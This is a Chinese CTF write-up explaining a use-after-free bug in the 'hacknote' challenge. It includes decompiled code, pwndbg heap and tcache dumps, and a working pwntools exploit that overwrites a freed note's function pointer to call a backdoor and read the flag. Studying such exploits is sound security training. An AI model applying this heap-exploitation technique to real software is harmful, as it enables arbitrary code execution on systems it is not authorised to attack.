当前位置: 首页 > article >正文

Pwn学习笔记(10)--UAF

Pwn学习笔记(10)–UAF:

​ UAF就是Use-After-Free,即一个指向堆块的指针被释放后指针没有置零,形成了悬空指针,使得堆可以再次被使用。

​ 由于我环境似乎运行不了某个程序,所以演示就不做了,上个简单题来看看。

​ 题目是一个标准的菜单题,有创建note和输出删除的功能,别的不看了,直接看那三个函数:

unsigned int add_note()
{
  int v0; // ebx
  int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !*(&notelist + i) )
      {
        *(&notelist + i) = malloc(8u);
        if ( !*(&notelist + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)*(&notelist + i) = print_note_content;
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        v0 = (int)*(&notelist + i);
        *(_DWORD *)(v0 + 4) = malloc(size);
        if ( !*((_DWORD *)*(&notelist + i) + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)*(&notelist + i) + 1), size);
        puts("Success !");
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

​ 先分配了一个堆空间,具体大小为数组notelist的单个元素的大小,之后就是让noteliist第一个元素指向一个函数:

*(_DWORD *)*(&notelist + i) = print_note_content;

​ 估计第一个参数是一个函数指针,之后malloc第二个堆,地址赋给第二个参数,之后读取size大小的字符进入第二个堆块。

v0 = (int)*(&notelist + i);
*(_DWORD *)(v0 + 4) = malloc(size);

read(0, *((void **)*(&notelist + i) + 1), size);

​ 删除note:

unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&notelist + v1) )
  {
    free(*((void **)*(&notelist + v1) + 1));
    free(*(&notelist + v1));
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

​ 发现先后删除了两个堆块,一个是写入的堆块,也就是上面第二个生成的堆块,之后释放了第一个生成的堆块,也就是存放两个指针的那个堆块:

free(*((void **)*(&notelist + v1) + 1));
free(*(&notelist + v1));

​ 但之后没有对指针进行置零,存在UAF漏洞,因为show里存在idx参数,释放后如果申请大小差不多的堆块。

​ 之后是print_note函数:

unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&notelist + v1) )
    (*(void (__cdecl **)(_DWORD))*(&notelist + v1))(*(&notelist + v1));
  return __readgsdword(0x14u) ^ v3;
}

​ 很显然,这里调用了那个堆块里的动态函数:

(*(void (__cdecl **)(_DWORD))*(&notelist + v1))(*(&notelist + v1));

​ 所以只需要想办法修改这里的函数指针即可getshell。

​ 上gdb调一下,先申请两个堆块,之后ctrl+c执行gdb指令看看:

pwndbg> r
Starting program: /mnt/c/Users/20820/Downloads/hacknote
----------------------
       HackNote
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :1
Note size :20
Content :aaa
Success !
----------------------
       HackNote
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :1
Note size :30
Content :AAA
Success !
----------------------
       HackNote
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :^C

​ 之后查看下heap状态:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b008
Size: 0x190 (with flag bits: 0x191)

Allocated chunk | PREV_INUSE
Addr: 0x804b198
Size: 0x10 (with flag bits: 0x11)

Allocated chunk | PREV_INUSE
Addr: 0x804b1a8
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x804b1c8
Size: 0x10 (with flag bits: 0x11)

Allocated chunk | PREV_INUSE
Addr: 0x804b1d8
Size: 0x30 (with flag bits: 0x31)

Top chunk | PREV_INUSE
Addr: 0x804b208
Size: 0x21df8 (with flag bits: 0x21df9)

​ 除开最开始的那个size为0x190的那位以外,其他的大致符合情况 ,两次都是先申请了一个堆块存放两个地址,然后申请另一个堆块来存放输入的内容,之后读一下0x804b198的内存:

pwndbg> x/30gx 0x804b198
0x804b198:      0x0000001100000000      0x0804b1b00804865b		<---这里两个数据,一个是函数指针,也就是0x0804865b,另一个就是输入地址的那个堆块的地址0x0804b1b0
0x804b1a8:      0x0000002100000000      0x000000000a616161
0x804b1b8:      0x0000000000000000      0x0000000000000000
0x804b1c8:      0x0000001100000000      0x0804b1e00804865b
0x804b1d8:      0x0000003100000000      0x000000000a414141
0x804b1e8:      0x0000000000000000      0x0000000000000000
0x804b1f8:      0x0000000000000000      0x0000000000000000
0x804b208:      0x00021df900000000      0x0000000000000000
0x804b218:      0x0000000000000000      0x0000000000000000
0x804b228:      0x0000000000000000      0x0000000000000000
0x804b238:      0x0000000000000000      0x0000000000000000
0x804b248:      0x0000000000000000      0x0000000000000000
0x804b258:      0x0000000000000000      0x0000000000000000
0x804b268:      0x0000000000000000      0x0000000000000000
0x804b278:      0x0000000000000000      0x0000000000000000

​ 这个函数在IDA里的地址是:

.text:0804865B print_note_content proc near            ; DATA XREF: add_note+9A↓o
.text:0804865B
.text:0804865B arg_0           = dword ptr  8
.text:0804865B
.text:0804865B ; __unwind {
.text:0804865B                 push    ebp
.text:0804865C                 mov     ebp, esp
.text:0804865E                 sub     esp, 8
.text:08048661                 mov     eax, [ebp+arg_0]
.text:08048664                 mov     eax, [eax+4]
.text:08048667                 sub     esp, 0Ch
.text:0804866A                 push    eax             ; s
.text:0804866B                 call    _puts
.text:08048670                 add     esp, 10h
.text:08048673                 nop
.text:08048674                 leave
.text:08048675                 retn
.text:08048675 ; } // starts at 804865B
.text:08048675 print_note_content endp

​ 此时bins里啥都没有:

pwndbg> bins
tcachebins
empty
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

​ 之后,我们分别释放掉两个堆,发现heap变了:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b008
Size: 0x190 (with flag bits: 0x191)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b198
Size: 0x10 (with flag bits: 0x11)
fd: 0x00

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1a8
Size: 0x20 (with flag bits: 0x21)
fd: 0x00

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1c8
Size: 0x10 (with flag bits: 0x11)
fd: 0x804b1a0

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1d8
Size: 0x30 (with flag bits: 0x31)
fd: 0x00

Top chunk | PREV_INUSE
Addr: 0x804b208
Size: 0x21df8 (with flag bits: 0x21df9)

​ 释放掉了之后,读取0x804b198的内容:

pwndbg> x/30gx 0x804b198
0x804b198:      0x0000001100000000      0x0804b01000000000
0x804b1a8:      0x0000002100000000      0x0804b01000000000
0x804b1b8:      0x0000000000000000      0x0000000000000000
0x804b1c8:      0x0000001100000000      0x0804b0100804b1a0
0x804b1d8:      0x0000003100000000      0x0804b01000000000
0x804b1e8:      0x0000000000000000      0x0000000000000000
0x804b1f8:      0x0000000000000000      0x0000000000000000
0x804b208:      0x00021df900000000      0x0000000000000000
0x804b218:      0x0000000000000000      0x0000000000000000
0x804b228:      0x0000000000000000      0x0000000000000000
0x804b238:      0x0000000000000000      0x0000000000000000
0x804b248:      0x0000000000000000      0x0000000000000000
0x804b258:      0x0000000000000000      0x0000000000000000
0x804b268:      0x0000000000000000      0x0000000000000000
0x804b278:      0x0000000000000000      0x0000000000000000

​ 再看看这个:

pwndbg> bins
tcachebins
0x10 [  2]: 0x804b1d0 —▸ 0x804b1a0 ◂— 0
0x20 [  1]: 0x804b1b0 ◂— 0
0x30 [  1]: 0x804b1e0 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

​ 完蛋,没注意到tcache给我保存了这些内容,不过不清楚是否存在影响,继续调一调看看吧,之后重新申请个堆

pwndbg> c
Continuing.
1
Note size :8
Content :aaaa
Success !
----------------------
       HackNote
----------------------
 1. Add note
 2. Delete note
 3. Print note
 4. Exit
----------------------
Your choice :^C

​ 之后再看看heap:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b008
Size: 0x190 (with flag bits: 0x191)

Allocated chunk | PREV_INUSE
Addr: 0x804b198
Size: 0x10 (with flag bits: 0x11)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1a8
Size: 0x20 (with flag bits: 0x21)
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x804b1c8
Size: 0x10 (with flag bits: 0x11)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x804b1d8
Size: 0x30 (with flag bits: 0x31)
fd: 0x00

Top chunk | PREV_INUSE
Addr: 0x804b208
Size: 0x21df8 (with flag bits: 0x21df9)

​ 0x804b198这个地址的chunk被重新拿去用了,第二次申请的那个原本存放了函数指针和字符串指针的那个chunk被分配了,之前拿去作为存放内容的那两个chunk一个都没有被分配,之后读一下这个地址:

pwndbg> x/30xg 0x804b198
0x804b198:      0x0000001100000000      0x0000000a61616161
0x804b1a8:      0x0000002100000000      0x0804b01000000000
0x804b1b8:      0x0000000000000000      0x0000000000000000
0x804b1c8:      0x0000001100000000      0x0804b1a00804865b
0x804b1d8:      0x0000003100000000      0x0804b01000000000
0x804b1e8:      0x0000000000000000      0x0000000000000000
0x804b1f8:      0x0000000000000000      0x0000000000000000
0x804b208:      0x00021df900000000      0x0000000000000000
0x804b218:      0x0000000000000000      0x0000000000000000
0x804b228:      0x0000000000000000      0x0000000000000000
0x804b238:      0x0000000000000000      0x0000000000000000
0x804b248:      0x0000000000000000      0x0000000000000000
0x804b258:      0x0000000000000000      0x0000000000000000
0x804b268:      0x0000000000000000      0x0000000000000000
0x804b278:      0x0000000000000000      0x0000000000000000

​ 发现这里被输入的字符给占了,再去读一下这个0x804b1c8:

pwndbg> x/30xg 0x804b1c8
0x804b1c8:      0x0000001100000000      0x0804b1a00804865b

​ 这里没有啥变化,依旧是指向输出函数的地址,以及指向某字符串的地址,0x804b198这个地址的chunk之前编号为0,因为地址更低,更先被分配,这个地址更高的作为编号1,同时整个程序存在backdoor:

int magic()
{
  return system("cat /home/hacknote/flag");
}

​ 所以只需要通过两次释放之后,再申请一个0x8之类比较小的,保证能够写入地址同时能够让分配到的chunk为同一个即可,然后申请的时候发送的数据为后门函数的地址即可,之后输出的时候它会自动调用后门程序:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./hacknote')


def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))


def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(20, "note1") # add note 0
addnote(30, "note2") # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0
gdb.attach(r)
r.interactive()


#[*] Switching to interactive mode
#flag{asd32as1-1d8g1r1hj5g4d4-9d54h3jyur4nfke1a}

http://www.kler.cn/a/380176.html

相关文章:

  • HarmonyOS Next星河版笔记--界面开发(3)
  • yolo系列各种环境配置运行
  • sparkSQL面试题
  • SQL拦截(二)InnerInterceptor
  • 阿里云服务器 篇十:自动定时备份CSDN博客内容
  • 使用 Spring Boot 搭建 WebSocket 服务器实现多客户端连接
  • ElementUI中el-table双击单元格显示输入框
  • 基于SSM+小程序的高校寻物平台管理系统(失物1)
  • k8s简单的指令以及图解
  • 论文阅读:Computational Long Exposure Mobile Photography (二)
  • Spring3(代理模式 Spring1案例补充 Aop 面试题)
  • 使用commitizen用于项目git提交规范管理
  • HarmonyOS第一课 07 从网络获取数据-习题
  • 【python GUI编码入门-14】创建动态更新的Tkinter GUI应用
  • 【算法】【优选算法】双指针(下)
  • 了解bootstrap改造asp.net core MVC的样式模板
  • 【湖南-常德】《市级信息化建设项目初步设计方案编制规范和支出预算编制标准(试行)》-省市费用标准解读系列05
  • ElMessageBox 内容自定义
  • 嵌入式常用功能之通讯协议1--IIC
  • org.springframework.boot:type=Admin,name=SpringApplication异常
  • Chrome与傲游浏览器性能与功能的深度对比
  • Flutter 13 网络层框架架构设计,支持dio等框架。
  • DAYWEB69 攻防-Java 安全JWT 攻防Swagger 自动化算法签名密匙Druid 泄漏
  • burp靶场-Remote code execution via web shell upload
  • Spring Boot解决 406 错误之返回对象缺少Getter/Setter方法引发的问题
  • 列表(排列整齐),表格,表单(登录,注册)(HTML)